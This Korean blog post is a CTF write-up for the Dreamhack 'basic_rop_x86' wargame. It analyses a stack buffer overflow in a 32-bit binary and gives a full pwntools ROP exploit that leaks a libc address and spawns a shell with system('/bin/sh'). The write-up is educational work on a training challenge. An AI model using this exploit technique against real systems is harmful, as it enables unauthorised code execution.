[Pwnable] basic_rop_x86

2025. 5. 8. 20:09·Hacking/Write Up
728x90
반응형

문제 : https://dreamhack.io/wargame/challenges/30

 

basic_rop_x86

Description 이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일

dreamhack.io

 

Environment

[*] '/home/minzu/Dreamhack/basic_rop_x86'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • No canary : Canary leak하는 과정 필요하지 않음
  • NX enable : 스택에 실행 권한이 없음 - shellcode 불가능
  • No PIE : 코드 영역 그대로 - plt, got 그대로

Code Analysis

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

Vulnerability Type : Stack buffer Overflow (BOF)

현재 bof는 0x40만큼 할당되어있다.

read는 0x400만큼 입력받는다. 

따라서 입력 버퍼의 크기보다 큰 값을 입력받으므로 스택 버퍼 오버플로우의 가능성이 있다. 

  1. 입력 크기 제한 > 버퍼 크기
  2. 스택 상 연속된 메모리 주소 접근 가능 > return addr에 접근 가능
  3. 실행 흐름 조작 가능성
  4. 보호 기법을 bypass할 수 있는 가능성 있음

이에 따라 해당 코드는 익스플로잇이 가능하다

 

Exploit Idea

  1. buf와 SFP 값 덮기
  2. RET 부분에 rop를 만들어 ret2main하기

write(1,read@got, ) + main주소 -> ret2main

 

pwndbg> disassem main
Dump of assembler code for function main:
   0x080485d9 <+0>:     push   ebp
   0x080485da <+1>:     mov    ebp,esp
   0x080485dc <+3>:     push   edi
   0x080485dd <+4>:     sub    esp,0x40
   0x080485e0 <+7>:     lea    edx,[ebp-0x44]
   0x080485e3 <+10>:    mov    eax,0x0
   0x080485e8 <+15>:    mov    ecx,0x10
   0x080485ed <+20>:    mov    edi,edx
   0x080485ef <+22>:    rep stos DWORD PTR es:[edi],eax
   0x080485f1 <+24>:    call   0x8048592 <initialize>
   0x080485f6 <+29>:    push   0x400
   0x080485fb <+34>:    lea    eax,[ebp-0x44]
   0x080485fe <+37>:    push   eax
   0x080485ff <+38>:    push   0x0
   0x08048601 <+40>:    call   0x80483f0 <read@plt>
   0x08048606 <+45>:    add    esp,0xc
   0x08048609 <+48>:    push   0x40
   0x0804860b <+50>:    lea    eax,[ebp-0x44]
   0x0804860e <+53>:    push   eax
   0x0804860f <+54>:    push   0x1
   0x08048611 <+56>:    call   0x8048450 <write@plt>
   0x08048616 <+61>:    add    esp,0xc
   0x08048619 <+64>:    mov    eax,0x0
   0x0804861e <+69>:    mov    edi,DWORD PTR [ebp-0x4]
   0x08048621 <+72>:    leave
   0x08048622 <+73>:    ret

스택프레임

Exploit Scenario

system 함수의 주소 계산 -> return 2 main -> system('/bin/sh') 

흐름으로 실행하면 된다. 

 

이때 주의해야할 점은, 지금까지 풀었던 문제들과는 다르게 x86이기 때문에 함수 호출 방식이 다르다는 점이다

x64의 경우 rdi, rsi, rdx에 인자를 넣어주었다. 

하지만, x86의 경우 레지스터가 아닌 스택으로 인자를 전달받기 때문에 이를 유의하면서 코드를 짜본다.

 

gadget 

가젯은 레지스터와 상관 없이 3개의 인자를 다룰 수 있는 것이면 가능하다. 

왜냐하면 레지스터에 무엇이 들어가든 x86은 함수 호출에 영향을 주지 않기 때문이다

 ROPgadget --binary basic_rop_x86 | grep "pop"

따라서 해당 바이너리에 존재하는

0x08048689 : pop esi ; pop edi ; pop ebp ; ret

0x080483d9 : pop ebx ; ret

를 사용하여 익스플로잇 코드를 짤 것이다. 

Exploit

from pwn import *

p = remote('host3.dreamhack.games',17650)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
r = ROP(e)

read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
main = e.sym['main']

read_offset = libc.sym['read']
system_offset = libc.sym['system']
binsh_offset = list(libc.search(b"/bin/sh"))[0]

p3ret = 0x08048689
pr = 0x080483d9
ret = r.find_gadget(['ret']).address

payload = b'A' * 0x48
payload += p32(write_plt)
payload += p32(p3ret) + p32(1) + p32(read_got) + p32(4)
payload += p32(main)

p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u32(p.recvn(4))
libc_base = read - read_offset
system = libc_base + system_offset
binsh = libc_base + binsh_offset

log.info(f"read @ libc: {hex(read)}")
log.info(f"libc base:  {hex(libc_base)}")
log.info(f"system:     {hex(system)}")
log.info(f"/bin/sh:    {hex(binsh)}")

payload = b'A' * 0x48
payload += p32(system)
payload += p32(pr) + p32(binsh)

p.send(payload)
p.interactive()

 

Question & Learn

ROP 구성할 때 인자의 호출 고려하

write(1,read_got, 4)를 실행한다고 생각해보자

push 4           ; 3rd argument
push read_got    ; 2nd argument
push 1           ; 1st argument
call write       ; jump to write, and push return address

하지만, rop를 구성할 때는 

payload = b"A" * 0x48                         # buffer overflow + return address overwrite
payload += p32(write_plt)                    # ← 이게 바로 "ret 다음에 갈 주소"
payload += p32(pop_pop_pop_ret)              # ← write 끝나고 ret 하면 이 주소로 감
payload += p32(1)                             # arg1: fd
payload += p32(read_got)                      # arg2: buf
payload += p32(4)

write를 인자보다 먼저 넣어주게 된다. 

 

ret;이 실행되면, write plt로 실행 흐름이 옮겨 가게 된다. 

따라서 write_plt의 주소로 eip가 이동하게 되고

다음 pop pop pop을 가리키게 된다.

EIP: write_plt가 된 후에, pop pop pop ret을 통해 인자를 하나하나 스택에 넣어주게 된 후,

마지막 ret이 실행되면서 EIP가 가리키고 있던 write_plt가 실행되게 되는 것이다. 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Hacking > Write Up' 카테고리의 다른 글

[Reversing] Easy Assembly  (0) 2025.05.10
[Pwnable] fho  (0) 2025.05.09
[Pwnable] basic_rop_x64  (0) 2025.01.01
[Pwnable] rop  (0) 2024.12.29
[BLUEHENS CTF 2024] pwn-Training-Problem:Intro-to-PWN Write Up  (1) 2024.11.12
'Hacking/Write Up' 카테고리의 다른 글
  • [Reversing] Easy Assembly
  • [Pwnable] fho
  • [Pwnable] basic_rop_x64
  • [Pwnable] rop
min_zu
min_zu
  • min_zu
    민주제도
    min_zu
  • 전체
    오늘
    어제
    • ._. (176)
      • AI (2)
        • DeepLearning (2)
        • CS231n (0)
      • Web (2)
        • ReactJS (0)
      • CS (83)
        • OS (7)
        • Data Structure (23)
        • Computer Architecture (8)
        • Computer Network (20)
        • Algorithm (25)
      • Linux (3)
        • KaliLinux (0)
        • Docker (1)
      • Hacking (83)
        • Write Up (25)
        • Pwnable (13)
        • Reversing (2)
        • Cryptography (12)
        • Web Hacking (4)
        • Window (6)
        • Network (7)
        • Web3 (13)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Search
    WinAFL
    Sort
    ComputerArchitecture
    AI
    Web
    Mac
    DataStructure
    UTM
    Graph
    Tree
    DeepLearning
    OS
    Linux
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
min_zu
[Pwnable] basic_rop_x86
상단으로

티스토리툴바